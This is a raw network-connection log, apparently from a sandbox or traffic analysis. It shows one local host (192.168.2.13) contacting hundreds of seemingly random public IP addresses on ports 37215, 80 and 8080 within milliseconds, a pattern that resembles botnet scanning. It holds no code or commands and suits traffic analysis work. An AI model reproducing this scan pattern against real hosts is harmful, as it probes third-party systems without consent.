Mar 4, 2024 15:05:32.148298979 CET	47833	37215	192.168.2.13	41.150.103.255
Mar 4, 2024 15:05:32.148303986 CET	47833	37215	192.168.2.13	41.53.23.119
Mar 4, 2024 15:05:32.148302078 CET	47833	37215	192.168.2.13	41.226.83.61
Mar 4, 2024 15:05:32.148302078 CET	47833	37215	192.168.2.13	41.149.254.0
Mar 4, 2024 15:05:32.148302078 CET	47833	37215	192.168.2.13	41.117.88.34
Mar 4, 2024 15:05:32.148303032 CET	47833	37215	192.168.2.13	41.237.98.7
Mar 4, 2024 15:05:32.148303032 CET	47833	37215	192.168.2.13	41.33.73.166
Mar 4, 2024 15:05:32.148303032 CET	47833	37215	192.168.2.13	41.109.220.4
Mar 4, 2024 15:05:32.148303032 CET	47833	37215	192.168.2.13	41.116.78.244
Mar 4, 2024 15:05:32.148303032 CET	47833	37215	192.168.2.13	41.134.3.185
Mar 4, 2024 15:05:32.148360014 CET	47833	37215	192.168.2.13	41.128.232.228
Mar 4, 2024 15:05:32.148360014 CET	47833	37215	192.168.2.13	41.217.18.87
Mar 4, 2024 15:05:32.148360968 CET	47833	37215	192.168.2.13	41.95.11.248
Mar 4, 2024 15:05:32.148360968 CET	47833	37215	192.168.2.13	41.142.215.184
Mar 4, 2024 15:05:32.148418903 CET	47833	37215	192.168.2.13	41.54.199.101
Mar 4, 2024 15:05:32.148418903 CET	47833	37215	192.168.2.13	41.151.195.215
Mar 4, 2024 15:05:32.148418903 CET	47833	37215	192.168.2.13	41.196.235.101
Mar 4, 2024 15:05:32.148423910 CET	47833	37215	192.168.2.13	41.42.244.203
Mar 4, 2024 15:05:32.148423910 CET	47833	37215	192.168.2.13	41.15.162.130
Mar 4, 2024 15:05:32.148426056 CET	47833	37215	192.168.2.13	41.131.186.126
Mar 4, 2024 15:05:32.148426056 CET	47833	37215	192.168.2.13	41.243.76.142
Mar 4, 2024 15:05:32.148426056 CET	47833	37215	192.168.2.13	41.247.194.100
Mar 4, 2024 15:05:32.148430109 CET	47833	37215	192.168.2.13	41.46.131.48
Mar 4, 2024 15:05:32.148430109 CET	47833	37215	192.168.2.13	41.244.192.234
Mar 4, 2024 15:05:32.148430109 CET	47833	37215	192.168.2.13	41.130.41.98
Mar 4, 2024 15:05:32.148431063 CET	47833	37215	192.168.2.13	41.81.21.29
Mar 4, 2024 15:05:32.148431063 CET	47833	37215	192.168.2.13	41.155.191.8
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.125.239.163
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.212.34.247
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.99.138.56
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.180.5.58
Mar 4, 2024 15:05:32.148456097 CET	47833	37215	192.168.2.13	41.227.221.254
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.23.209.127
Mar 4, 2024 15:05:32.148456097 CET	47833	37215	192.168.2.13	41.51.44.231
Mar 4, 2024 15:05:32.148453951 CET	47833	37215	192.168.2.13	41.245.6.99
Mar 4, 2024 15:05:32.148457050 CET	47833	37215	192.168.2.13	41.173.177.115
Mar 4, 2024 15:05:32.148458958 CET	47833	37215	192.168.2.13	41.188.7.215
Mar 4, 2024 15:05:32.148458958 CET	47833	37215	192.168.2.13	41.239.130.52
Mar 4, 2024 15:05:32.148458958 CET	47833	37215	192.168.2.13	41.154.116.200
Mar 4, 2024 15:05:32.148459911 CET	47833	37215	192.168.2.13	41.46.212.144
Mar 4, 2024 15:05:32.148458958 CET	47833	37215	192.168.2.13	41.236.59.143
Mar 4, 2024 15:05:32.148457050 CET	47833	37215	192.168.2.13	41.14.193.121
Mar 4, 2024 15:05:32.148459911 CET	47833	37215	192.168.2.13	41.183.165.113
Mar 4, 2024 15:05:32.148457050 CET	47833	37215	192.168.2.13	41.228.206.220
Mar 4, 2024 15:05:32.148463011 CET	47833	37215	192.168.2.13	41.205.125.123
Mar 4, 2024 15:05:32.148459911 CET	47833	37215	192.168.2.13	41.242.30.217
Mar 4, 2024 15:05:32.148463011 CET	47833	37215	192.168.2.13	41.16.4.247
Mar 4, 2024 15:05:32.148523092 CET	47833	37215	192.168.2.13	41.108.225.196
Mar 4, 2024 15:05:32.148523092 CET	47833	37215	192.168.2.13	41.115.23.255
Mar 4, 2024 15:05:32.158320904 CET	48089	80	192.168.2.13	112.7.188.3
Mar 4, 2024 15:05:32.158325911 CET	48089	80	192.168.2.13	112.101.205.203
Mar 4, 2024 15:05:32.158353090 CET	48089	80	192.168.2.13	112.66.164.109
Mar 4, 2024 15:05:32.158366919 CET	48089	80	192.168.2.13	112.240.67.113
Mar 4, 2024 15:05:32.158370018 CET	48089	80	192.168.2.13	112.90.109.141
Mar 4, 2024 15:05:32.158377886 CET	48089	80	192.168.2.13	112.12.36.226
Mar 4, 2024 15:05:32.158384085 CET	48089	80	192.168.2.13	112.38.195.105
Mar 4, 2024 15:05:32.158394098 CET	48089	80	192.168.2.13	112.48.86.123
Mar 4, 2024 15:05:32.158406973 CET	48089	80	192.168.2.13	112.251.100.87
Mar 4, 2024 15:05:32.158410072 CET	48089	80	192.168.2.13	112.116.43.191
Mar 4, 2024 15:05:32.158438921 CET	48089	80	192.168.2.13	112.121.8.211
Mar 4, 2024 15:05:32.158440113 CET	48089	80	192.168.2.13	112.73.253.215
Mar 4, 2024 15:05:32.158447027 CET	48089	80	192.168.2.13	112.177.87.85
Mar 4, 2024 15:05:32.158451080 CET	48089	80	192.168.2.13	112.226.110.8
Mar 4, 2024 15:05:32.158466101 CET	48089	80	192.168.2.13	112.232.217.196
Mar 4, 2024 15:05:32.158473969 CET	48089	80	192.168.2.13	112.180.204.202
Mar 4, 2024 15:05:32.158478022 CET	48089	80	192.168.2.13	112.161.37.240
Mar 4, 2024 15:05:32.158484936 CET	48089	80	192.168.2.13	112.117.167.89
Mar 4, 2024 15:05:32.158494949 CET	48089	80	192.168.2.13	112.140.175.232
Mar 4, 2024 15:05:32.158495903 CET	48089	80	192.168.2.13	112.108.114.134
Mar 4, 2024 15:05:32.158504963 CET	48089	80	192.168.2.13	112.76.37.130
Mar 4, 2024 15:05:32.158515930 CET	48089	80	192.168.2.13	112.224.136.86
Mar 4, 2024 15:05:32.158521891 CET	48089	80	192.168.2.13	112.205.206.81
Mar 4, 2024 15:05:32.158529043 CET	48089	80	192.168.2.13	112.182.133.1
Mar 4, 2024 15:05:32.158551931 CET	48089	80	192.168.2.13	112.222.214.38
Mar 4, 2024 15:05:32.158555984 CET	48089	80	192.168.2.13	112.168.18.47
Mar 4, 2024 15:05:32.158576965 CET	48089	80	192.168.2.13	112.238.170.160
Mar 4, 2024 15:05:32.158579111 CET	48089	80	192.168.2.13	112.136.185.161
Mar 4, 2024 15:05:32.158584118 CET	48089	80	192.168.2.13	112.215.193.141
Mar 4, 2024 15:05:32.158585072 CET	48089	80	192.168.2.13	112.61.100.174
Mar 4, 2024 15:05:32.158595085 CET	48089	80	192.168.2.13	112.144.198.47
Mar 4, 2024 15:05:32.158595085 CET	48089	80	192.168.2.13	112.216.46.195
Mar 4, 2024 15:05:32.158601999 CET	48089	80	192.168.2.13	112.96.228.13
Mar 4, 2024 15:05:32.158608913 CET	48089	80	192.168.2.13	112.35.200.74
Mar 4, 2024 15:05:32.158622026 CET	48089	80	192.168.2.13	112.225.29.175
Mar 4, 2024 15:05:32.158624887 CET	48089	80	192.168.2.13	112.247.170.200
Mar 4, 2024 15:05:32.158632040 CET	48089	80	192.168.2.13	112.35.251.201
Mar 4, 2024 15:05:32.158639908 CET	48089	80	192.168.2.13	112.25.110.44
Mar 4, 2024 15:05:32.158644915 CET	48089	80	192.168.2.13	112.48.250.203
Mar 4, 2024 15:05:32.158658981 CET	48089	80	192.168.2.13	112.137.219.45
Mar 4, 2024 15:05:32.158659935 CET	47577	8080	192.168.2.13	94.182.101.147
Mar 4, 2024 15:05:32.158663034 CET	48089	80	192.168.2.13	112.191.230.246
Mar 4, 2024 15:05:32.158670902 CET	47577	8080	192.168.2.13	31.207.75.98
Mar 4, 2024 15:05:32.158679008 CET	48089	80	192.168.2.13	112.205.244.7
Mar 4, 2024 15:05:32.158680916 CET	47577	8080	192.168.2.13	94.225.173.188
Mar 4, 2024 15:05:32.158683062 CET	47577	8080	192.168.2.13	62.160.195.162
Mar 4, 2024 15:05:32.158683062 CET	47577	8080	192.168.2.13	94.149.115.27
Mar 4, 2024 15:05:32.158683062 CET	47577	8080	192.168.2.13	95.178.245.193
Mar 4, 2024 15:05:32.158696890 CET	47577	8080	192.168.2.13	85.255.250.225
Mar 4, 2024 15:05:32.158698082 CET	47577	8080	192.168.2.13	62.252.109.206
Mar 4, 2024 15:05:32.158698082 CET	47577	8080	192.168.2.13	85.69.73.71
Mar 4, 2024 15:05:32.158708096 CET	47577	8080	192.168.2.13	62.92.232.52
Mar 4, 2024 15:05:32.158709049 CET	47577	8080	192.168.2.13	85.142.105.219
Mar 4, 2024 15:05:32.158713102 CET	47577	8080	192.168.2.13	62.128.41.22
Mar 4, 2024 15:05:32.158713102 CET	48089	80	192.168.2.13	112.177.22.171
Mar 4, 2024 15:05:32.158716917 CET	48089	80	192.168.2.13	112.45.21.240
Mar 4, 2024 15:05:32.158718109 CET	47577	8080	192.168.2.13	31.245.160.164
Mar 4, 2024 15:05:32.158731937 CET	47577	8080	192.168.2.13	95.208.63.83
Mar 4, 2024 15:05:32.158731937 CET	48089	80	192.168.2.13	112.71.116.111
Mar 4, 2024 15:05:32.158735037 CET	47577	8080	192.168.2.13	31.36.90.121
Mar 4, 2024 15:05:32.158735037 CET	47577	8080	192.168.2.13	31.233.221.188
Mar 4, 2024 15:05:32.158739090 CET	48089	80	192.168.2.13	112.224.6.32
Mar 4, 2024 15:05:32.158745050 CET	48089	80	192.168.2.13	112.27.46.75
Mar 4, 2024 15:05:32.158745050 CET	47577	8080	192.168.2.13	94.189.57.213
Mar 4, 2024 15:05:32.158747911 CET	47577	8080	192.168.2.13	31.228.243.109
Mar 4, 2024 15:05:32.158751011 CET	47577	8080	192.168.2.13	95.19.110.246
Mar 4, 2024 15:05:32.158751965 CET	47577	8080	192.168.2.13	95.161.62.92
Mar 4, 2024 15:05:32.158751011 CET	47577	8080	192.168.2.13	31.194.89.227
Mar 4, 2024 15:05:32.158754110 CET	48089	80	192.168.2.13	112.240.178.93
Mar 4, 2024 15:05:32.158751011 CET	47577	8080	192.168.2.13	94.138.156.187
Mar 4, 2024 15:05:32.158751965 CET	47577	8080	192.168.2.13	85.48.44.81
Mar 4, 2024 15:05:32.158759117 CET	47577	8080	192.168.2.13	62.59.223.184
Mar 4, 2024 15:05:32.158771038 CET	47577	8080	192.168.2.13	94.255.87.101
Mar 4, 2024 15:05:32.158775091 CET	48089	80	192.168.2.13	112.8.42.169
Mar 4, 2024 15:05:32.158775091 CET	47577	8080	192.168.2.13	62.31.167.29
Mar 4, 2024 15:05:32.158775091 CET	47577	8080	192.168.2.13	31.81.20.75
Mar 4, 2024 15:05:32.158776045 CET	47577	8080	192.168.2.13	85.168.3.70
Mar 4, 2024 15:05:32.158776045 CET	47577	8080	192.168.2.13	85.21.7.205
Mar 4, 2024 15:05:32.158782959 CET	47577	8080	192.168.2.13	94.87.213.65
Mar 4, 2024 15:05:32.158790112 CET	47577	8080	192.168.2.13	31.146.112.255
Mar 4, 2024 15:05:32.158792973 CET	47577	8080	192.168.2.13	95.200.105.76
Mar 4, 2024 15:05:32.158792973 CET	47577	8080	192.168.2.13	85.23.67.27
Mar 4, 2024 15:05:32.158802032 CET	47577	8080	192.168.2.13	85.20.254.222
Mar 4, 2024 15:05:32.158803940 CET	48089	80	192.168.2.13	112.57.222.41
Mar 4, 2024 15:05:32.158803940 CET	47577	8080	192.168.2.13	95.155.186.132
Mar 4, 2024 15:05:32.158803940 CET	47577	8080	192.168.2.13	95.33.239.196
Mar 4, 2024 15:05:32.158808947 CET	47577	8080	192.168.2.13	85.241.189.90
Mar 4, 2024 15:05:32.158813000 CET	48089	80	192.168.2.13	112.63.27.133
Mar 4, 2024 15:05:32.158818007 CET	47577	8080	192.168.2.13	62.160.99.68
Mar 4, 2024 15:05:32.158819914 CET	48089	80	192.168.2.13	112.245.253.84
Mar 4, 2024 15:05:32.158821106 CET	48089	80	192.168.2.13	112.167.254.16
Mar 4, 2024 15:05:32.158819914 CET	47577	8080	192.168.2.13	62.150.209.173
Mar 4, 2024 15:05:32.158832073 CET	47577	8080	192.168.2.13	85.168.64.24
Mar 4, 2024 15:05:32.158832073 CET	47577	8080	192.168.2.13	85.204.6.86
Mar 4, 2024 15:05:32.158843040 CET	47577	8080	192.168.2.13	85.190.31.154
Mar 4, 2024 15:05:32.158843040 CET	48089	80	192.168.2.13	112.161.120.46
Mar 4, 2024 15:05:32.158850908 CET	48089	80	192.168.2.13	112.200.29.67
Mar 4, 2024 15:05:32.158850908 CET	48089	80	192.168.2.13	112.69.135.173
Mar 4, 2024 15:05:32.158854008 CET	47577	8080	192.168.2.13	62.89.124.117
Mar 4, 2024 15:05:32.158855915 CET	47577	8080	192.168.2.13	85.142.248.177
Mar 4, 2024 15:05:32.158855915 CET	47577	8080	192.168.2.13	62.125.178.137
Mar 4, 2024 15:05:32.158855915 CET	47577	8080	192.168.2.13	85.221.85.40
Mar 4, 2024 15:05:32.158860922 CET	47577	8080	192.168.2.13	62.74.104.205
Mar 4, 2024 15:05:32.158860922 CET	48089	80	192.168.2.13	112.221.107.239
Mar 4, 2024 15:05:32.158869982 CET	47577	8080	192.168.2.13	85.250.166.128
Mar 4, 2024 15:05:32.158873081 CET	47577	8080	192.168.2.13	94.182.203.172
Mar 4, 2024 15:05:32.158873081 CET	48089	80	192.168.2.13	112.165.225.159
Mar 4, 2024 15:05:32.158874989 CET	48089	80	192.168.2.13	112.221.164.150
Mar 4, 2024 15:05:32.158874989 CET	48089	80	192.168.2.13	112.11.147.240
Mar 4, 2024 15:05:32.158885956 CET	47577	8080	192.168.2.13	95.210.130.23
Mar 4, 2024 15:05:32.158885956 CET	47577	8080	192.168.2.13	94.199.231.97
Mar 4, 2024 15:05:32.158885956 CET	47577	8080	192.168.2.13	85.172.172.244
Mar 4, 2024 15:05:32.158889055 CET	47577	8080	192.168.2.13	94.97.162.217
Mar 4, 2024 15:05:32.158889055 CET	48089	80	192.168.2.13	112.75.85.138
Mar 4, 2024 15:05:32.158902884 CET	47577	8080	192.168.2.13	62.191.239.86
Mar 4, 2024 15:05:32.158902884 CET	47577	8080	192.168.2.13	62.91.107.150
Mar 4, 2024 15:05:32.158902884 CET	48089	80	192.168.2.13	112.120.98.23
Mar 4, 2024 15:05:32.158909082 CET	48089	80	192.168.2.13	112.134.128.214
Mar 4, 2024 15:05:32.158910036 CET	47577	8080	192.168.2.13	95.234.255.158
Mar 4, 2024 15:05:32.158911943 CET	47577	8080	192.168.2.13	94.189.131.57
Mar 4, 2024 15:05:32.158911943 CET	47577	8080	192.168.2.13	94.113.21.157
Mar 4, 2024 15:05:32.158911943 CET	47577	8080	192.168.2.13	95.5.139.171
Mar 4, 2024 15:05:32.158921957 CET	47577	8080	192.168.2.13	31.148.207.93
Mar 4, 2024 15:05:32.158921957 CET	47577	8080	192.168.2.13	85.94.194.217
Mar 4, 2024 15:05:32.158926010 CET	48089	80	192.168.2.13	112.239.9.80
Mar 4, 2024 15:05:32.158927917 CET	47577	8080	192.168.2.13	85.208.12.135
Mar 4, 2024 15:05:32.158927917 CET	47577	8080	192.168.2.13	95.120.100.220
Mar 4, 2024 15:05:32.158937931 CET	48089	80	192.168.2.13	112.152.60.238
Mar 4, 2024 15:05:32.158952951 CET	47577	8080	192.168.2.13	85.178.61.20
Mar 4, 2024 15:05:32.158957005 CET	47577	8080	192.168.2.13	62.224.20.220
Mar 4, 2024 15:05:32.158957005 CET	48089	80	192.168.2.13	112.18.153.174
Mar 4, 2024 15:05:32.158962965 CET	48089	80	192.168.2.13	112.187.107.63
Mar 4, 2024 15:05:32.158963919 CET	48089	80	192.168.2.13	112.76.57.101
Mar 4, 2024 15:05:32.158962965 CET	47577	8080	192.168.2.13	31.10.212.170
Mar 4, 2024 15:05:32.158970118 CET	48089	80	192.168.2.13	112.239.30.162
Mar 4, 2024 15:05:32.158970118 CET	47577	8080	192.168.2.13	85.102.177.131
Mar 4, 2024 15:05:32.158976078 CET	47577	8080	192.168.2.13	31.198.89.107
Mar 4, 2024 15:05:32.158982992 CET	47577	8080	192.168.2.13	31.23.76.71
Mar 4, 2024 15:05:32.158986092 CET	48089	80	192.168.2.13	112.55.225.50
Mar 4, 2024 15:05:32.158993006 CET	48089	80	192.168.2.13	112.75.113.181
Mar 4, 2024 15:05:32.158993006 CET	47577	8080	192.168.2.13	62.69.66.9
Mar 4, 2024 15:05:32.159003019 CET	48089	80	192.168.2.13	112.51.28.239
Mar 4, 2024 15:05:32.159003019 CET	47577	8080	192.168.2.13	94.49.191.89
Mar 4, 2024 15:05:32.159006119 CET	47577	8080	192.168.2.13	31.60.141.248
Mar 4, 2024 15:05:32.159014940 CET	47577	8080	192.168.2.13	94.78.134.194
Mar 4, 2024 15:05:32.159014940 CET	47577	8080	192.168.2.13	94.52.29.45
Mar 4, 2024 15:05:32.159018040 CET	47577	8080	192.168.2.13	31.132.21.218
Mar 4, 2024 15:05:32.159018040 CET	47577	8080	192.168.2.13	85.199.179.243
Mar 4, 2024 15:05:32.159018040 CET	48089	80	192.168.2.13	112.96.93.165
Mar 4, 2024 15:05:32.159018040 CET	47577	8080	192.168.2.13	31.58.23.11
Mar 4, 2024 15:05:32.159018993 CET	48089	80	192.168.2.13	112.204.188.47
Mar 4, 2024 15:05:32.159025908 CET	47577	8080	192.168.2.13	94.73.13.223
Mar 4, 2024 15:05:32.159025908 CET	47577	8080	192.168.2.13	62.69.218.105
Mar 4, 2024 15:05:32.159025908 CET	48089	80	192.168.2.13	112.136.63.64
Mar 4, 2024 15:05:32.159038067 CET	48089	80	192.168.2.13	112.31.251.174
Mar 4, 2024 15:05:32.159043074 CET	47577	8080	192.168.2.13	31.144.111.0
Mar 4, 2024 15:05:32.159045935 CET	48089	80	192.168.2.13	112.199.139.72
Mar 4, 2024 15:05:32.159049034 CET	47577	8080	192.168.2.13	62.245.24.94
Mar 4, 2024 15:05:32.159049988 CET	47577	8080	192.168.2.13	95.43.163.43
Mar 4, 2024 15:05:32.159049034 CET	47577	8080	192.168.2.13	31.6.128.94
Mar 4, 2024 15:05:32.159049034 CET	48089	80	192.168.2.13	112.3.205.176
Mar 4, 2024 15:05:32.159049034 CET	47577	8080	192.168.2.13	94.206.224.168
Mar 4, 2024 15:05:32.159050941 CET	47577	8080	192.168.2.13	95.116.99.175
Mar 4, 2024 15:05:32.159064054 CET	47577	8080	192.168.2.13	95.183.127.103
Mar 4, 2024 15:05:32.159065962 CET	47577	8080	192.168.2.13	85.41.129.157
Mar 4, 2024 15:05:32.159070015 CET	48089	80	192.168.2.13	112.16.199.118
Mar 4, 2024 15:05:32.159070015 CET	48089	80	192.168.2.13	112.126.188.172
Mar 4, 2024 15:05:32.159074068 CET	47577	8080	192.168.2.13	85.93.199.13
Mar 4, 2024 15:05:32.159075975 CET	47577	8080	192.168.2.13	85.28.109.25
Mar 4, 2024 15:05:32.159089088 CET	47577	8080	192.168.2.13	31.39.31.12
Mar 4, 2024 15:05:32.159089088 CET	47577	8080	192.168.2.13	95.151.79.85
Mar 4, 2024 15:05:32.159089088 CET	48089	80	192.168.2.13	112.125.186.46
Mar 4, 2024 15:05:32.159089088 CET	47577	8080	192.168.2.13	95.11.153.4
Mar 4, 2024 15:05:32.159095049 CET	47577	8080	192.168.2.13	85.78.17.189
Mar 4, 2024 15:05:32.159090042 CET	47577	8080	192.168.2.13	94.121.242.229
Mar 4, 2024 15:05:32.159095049 CET	47577	8080	192.168.2.13	31.123.229.56
Mar 4, 2024 15:05:32.159101009 CET	47577	8080	192.168.2.13	94.184.24.75
Mar 4, 2024 15:05:32.159116030 CET	48089	80	192.168.2.13	112.151.151.46
Mar 4, 2024 15:05:32.159121990 CET	47577	8080	192.168.2.13	31.231.28.236
Mar 4, 2024 15:05:32.159130096 CET	47577	8080	192.168.2.13	62.239.219.35
Mar 4, 2024 15:05:32.159133911 CET	48089	80	192.168.2.13	112.146.109.208
Mar 4, 2024 15:05:32.159133911 CET	47577	8080	192.168.2.13	85.7.165.43
Mar 4, 2024 15:05:32.159135103 CET	48089	80	192.168.2.13	112.65.103.176
Mar 4, 2024 15:05:32.159135103 CET	48089	80	192.168.2.13	112.121.68.119
Mar 4, 2024 15:05:32.159135103 CET	47577	8080	192.168.2.13	31.56.237.200
Mar 4, 2024 15:05:32.159135103 CET	47577	8080	192.168.2.13	94.233.211.25
Mar 4, 2024 15:05:32.159142971 CET	48089	80	192.168.2.13	112.235.112.182
Mar 4, 2024 15:05:32.159143925 CET	47577	8080	192.168.2.13	95.191.174.234
Mar 4, 2024 15:05:32.159143925 CET	47577	8080	192.168.2.13	62.43.135.38
Mar 4, 2024 15:05:32.159143925 CET	47577	8080	192.168.2.13	31.80.209.44
Mar 4, 2024 15:05:32.159154892 CET	47577	8080	192.168.2.13	95.217.210.229
Mar 4, 2024 15:05:32.159157038 CET	48089	80	192.168.2.13	112.2.154.11
Mar 4, 2024 15:05:32.159157038 CET	48089	80	192.168.2.13	112.37.98.67
Mar 4, 2024 15:05:32.159158945 CET	47577	8080	192.168.2.13	62.157.43.15
Mar 4, 2024 15:05:32.159162998 CET	47577	8080	192.168.2.13	94.182.139.238
Mar 4, 2024 15:05:32.159162998 CET	47577	8080	192.168.2.13	62.3.173.205
Mar 4, 2024 15:05:32.159162998 CET	48089	80	192.168.2.13	112.216.140.14
Mar 4, 2024 15:05:32.159162998 CET	47577	8080	192.168.2.13	85.214.191.210
Mar 4, 2024 15:05:32.159181118 CET	48089	80	192.168.2.13	112.118.78.158
Mar 4, 2024 15:05:32.159181118 CET	47577	8080	192.168.2.13	94.98.135.227
Mar 4, 2024 15:05:32.159184933 CET	48089	80	192.168.2.13	112.174.207.51
Mar 4, 2024 15:05:32.159184933 CET	48089	80	192.168.2.13	112.150.192.28
Mar 4, 2024 15:05:32.159184933 CET	47577	8080	192.168.2.13	31.193.199.6
Mar 4, 2024 15:05:32.159184933 CET	47577	8080	192.168.2.13	95.234.174.4
Mar 4, 2024 15:05:32.159184933 CET	47577	8080	192.168.2.13	95.118.254.14
Mar 4, 2024 15:05:32.159185886 CET	47577	8080	192.168.2.13	95.118.72.191
Mar 4, 2024 15:05:32.159185886 CET	47577	8080	192.168.2.13	85.153.120.143
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	62.199.208.8
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	95.47.202.214
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	94.30.142.179
Mar 4, 2024 15:05:32.159193993 CET	48089	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	94.99.233.106
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	95.185.70.181
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	85.162.193.216
Mar 4, 2024 15:05:32.159193993 CET	47577	8080	192.168.2.13	85.67.32.106
Mar 4, 2024 15:05:32.159204006 CET	47577	8080	192.168.2.13	62.175.211.32
Mar 4, 2024 15:05:32.159207106 CET	47577	8080	192.168.2.13	85.225.15.204
Mar 4, 2024 15:05:32.159208059 CET	47577	8080	192.168.2.13	94.144.1.34
Mar 4, 2024 15:05:32.159209013 CET	48089	80	192.168.2.13	112.123.21.109
Mar 4, 2024 15:05:32.159208059 CET	47577	8080	192.168.2.13	95.199.167.33
Mar 4, 2024 15:05:32.159229994 CET	48089	80	192.168.2.13	112.166.19.182
Mar 4, 2024 15:05:32.159235954 CET	48089	80	192.168.2.13	112.113.110.87
Mar 4, 2024 15:05:32.159235954 CET	47577	8080	192.168.2.13	95.215.228.176
Mar 4, 2024 15:05:32.159235954 CET	47577	8080	192.168.2.13	62.184.6.209
Mar 4, 2024 15:05:32.159239054 CET	47577	8080	192.168.2.13	31.129.12.186
Mar 4, 2024 15:05:32.159240007 CET	47577	8080	192.168.2.13	95.222.40.41
Mar 4, 2024 15:05:32.159235954 CET	48089	80	192.168.2.13	112.116.135.209
Mar 4, 2024 15:05:32.159240007 CET	48089	80	192.168.2.13	112.98.229.17
Mar 4, 2024 15:05:32.159235954 CET	48089	80	192.168.2.13	112.5.119.193
Mar 4, 2024 15:05:32.159240007 CET	47577	8080	192.168.2.13	85.211.195.2
Mar 4, 2024 15:05:32.159235954 CET	47577	8080	192.168.2.13	94.196.194.30
Mar 4, 2024 15:05:32.159240007 CET	48089	80	192.168.2.13	112.15.213.239
Mar 4, 2024 15:05:32.159235954 CET	47577	8080	192.168.2.13	31.211.86.5
Mar 4, 2024 15:05:32.159252882 CET	47577	8080	192.168.2.13	62.92.76.59
Mar 4, 2024 15:05:32.159252882 CET	48089	80	192.168.2.13	112.77.178.194
Mar 4, 2024 15:05:32.159252882 CET	47577	8080	192.168.2.13	85.214.222.72
Mar 4, 2024 15:05:32.159254074 CET	47577	8080	192.168.2.13	94.5.193.87
Mar 4, 2024 15:05:32.159255028 CET	47577	8080	192.168.2.13	31.239.34.17
Mar 4, 2024 15:05:32.159255028 CET	48089	80	192.168.2.13	112.129.76.3
Mar 4, 2024 15:05:32.159255028 CET	48089	80	192.168.2.13	112.2.142.63
Mar 4, 2024 15:05:32.159255028 CET	48089	80	192.168.2.13	112.5.114.159
Mar 4, 2024 15:05:32.159255028 CET	47577	8080	192.168.2.13	62.117.97.21
Mar 4, 2024 15:05:32.159255028 CET	47577	8080	192.168.2.13	95.33.0.163
Mar 4, 2024 15:05:32.159255028 CET	47577	8080	192.168.2.13	94.110.240.10
Mar 4, 2024 15:05:32.159264088 CET	47577	8080	192.168.2.13	85.41.23.168
Mar 4, 2024 15:05:32.159274101 CET	48089	80	192.168.2.13	112.72.228.187
Mar 4, 2024 15:05:32.159281969 CET	48089	80	192.168.2.13	112.249.245.204
Mar 4, 2024 15:05:32.159285069 CET	47577	8080	192.168.2.13	95.84.170.116
Mar 4, 2024 15:05:32.159300089 CET	47577	8080	192.168.2.13	85.195.58.39
Mar 4, 2024 15:05:32.159300089 CET	48089	80	192.168.2.13	112.227.37.150
Mar 4, 2024 15:05:32.159316063 CET	47577	8080	192.168.2.13	62.52.237.159
Mar 4, 2024 15:05:32.159316063 CET	47577	8080	192.168.2.13	62.242.27.11
Mar 4, 2024 15:05:32.159317017 CET	47577	8080	192.168.2.13	94.117.219.126
Mar 4, 2024 15:05:32.159320116 CET	47577	8080	192.168.2.13	85.151.76.0
Mar 4, 2024 15:05:32.159321070 CET	47577	8080	192.168.2.13	31.174.88.239
Mar 4, 2024 15:05:32.159321070 CET	47577	8080	192.168.2.13	62.175.114.245
Mar 4, 2024 15:05:32.159321070 CET	47577	8080	192.168.2.13	31.172.131.174
Mar 4, 2024 15:05:32.159321070 CET	47577	8080	192.168.2.13	85.94.125.225
Mar 4, 2024 15:05:32.159321070 CET	48089	80	192.168.2.13	112.68.253.31
Mar 4, 2024 15:05:32.159321070 CET	47577	8080	192.168.2.13	85.95.175.239
Mar 4, 2024 15:05:32.159322023 CET	47577	8080	192.168.2.13	62.149.153.193
Mar 4, 2024 15:05:32.159322023 CET	47577	8080	192.168.2.13	94.235.179.60
Mar 4, 2024 15:05:32.159332037 CET	47577	8080	192.168.2.13	85.133.151.119
Mar 4, 2024 15:05:32.159332037 CET	47577	8080	192.168.2.13	62.139.9.76
Mar 4, 2024 15:05:32.159346104 CET	47577	8080	192.168.2.13	31.44.226.153
Mar 4, 2024 15:05:32.159346104 CET	47577	8080	192.168.2.13	62.144.223.237
Mar 4, 2024 15:05:32.159348011 CET	47577	8080	192.168.2.13	31.66.72.156
Mar 4, 2024 15:05:32.159346104 CET	48089	80	192.168.2.13	112.238.108.58
Mar 4, 2024 15:05:32.159351110 CET	47577	8080	192.168.2.13	62.163.80.154
Mar 4, 2024 15:05:32.159353018 CET	48089	80	192.168.2.13	112.177.66.5
Mar 4, 2024 15:05:32.159353018 CET	48089	80	192.168.2.13	112.76.173.177
Mar 4, 2024 15:05:32.159354925 CET	47577	8080	192.168.2.13	62.85.84.190
Mar 4, 2024 15:05:32.159354925 CET	47577	8080	192.168.2.13	94.201.125.37
Mar 4, 2024 15:05:32.159357071 CET	48089	80	192.168.2.13	112.18.200.11
Mar 4, 2024 15:05:32.159358025 CET	47577	8080	192.168.2.13	94.204.11.198
Mar 4, 2024 15:05:32.159358025 CET	47577	8080	192.168.2.13	85.13.117.75
Mar 4, 2024 15:05:32.159363031 CET	47577	8080	192.168.2.13	94.128.207.120
Mar 4, 2024 15:05:32.159365892 CET	47577	8080	192.168.2.13	95.82.66.177
Mar 4, 2024 15:05:32.159365892 CET	48089	80	192.168.2.13	112.52.248.141
Mar 4, 2024 15:05:32.159390926 CET	47577	8080	192.168.2.13	62.173.33.239
Mar 4, 2024 15:05:32.159390926 CET	47577	8080	192.168.2.13	85.122.228.197
Mar 4, 2024 15:05:32.159390926 CET	48089	80	192.168.2.13	112.3.113.113
Mar 4, 2024 15:05:32.159390926 CET	48089	80	192.168.2.13	112.220.150.14
Mar 4, 2024 15:05:32.159390926 CET	47577	8080	192.168.2.13	95.34.224.181
Mar 4, 2024 15:05:32.159390926 CET	47577	8080	192.168.2.13	95.220.26.141
Mar 4, 2024 15:05:32.159390926 CET	48089	80	192.168.2.13	112.94.83.120
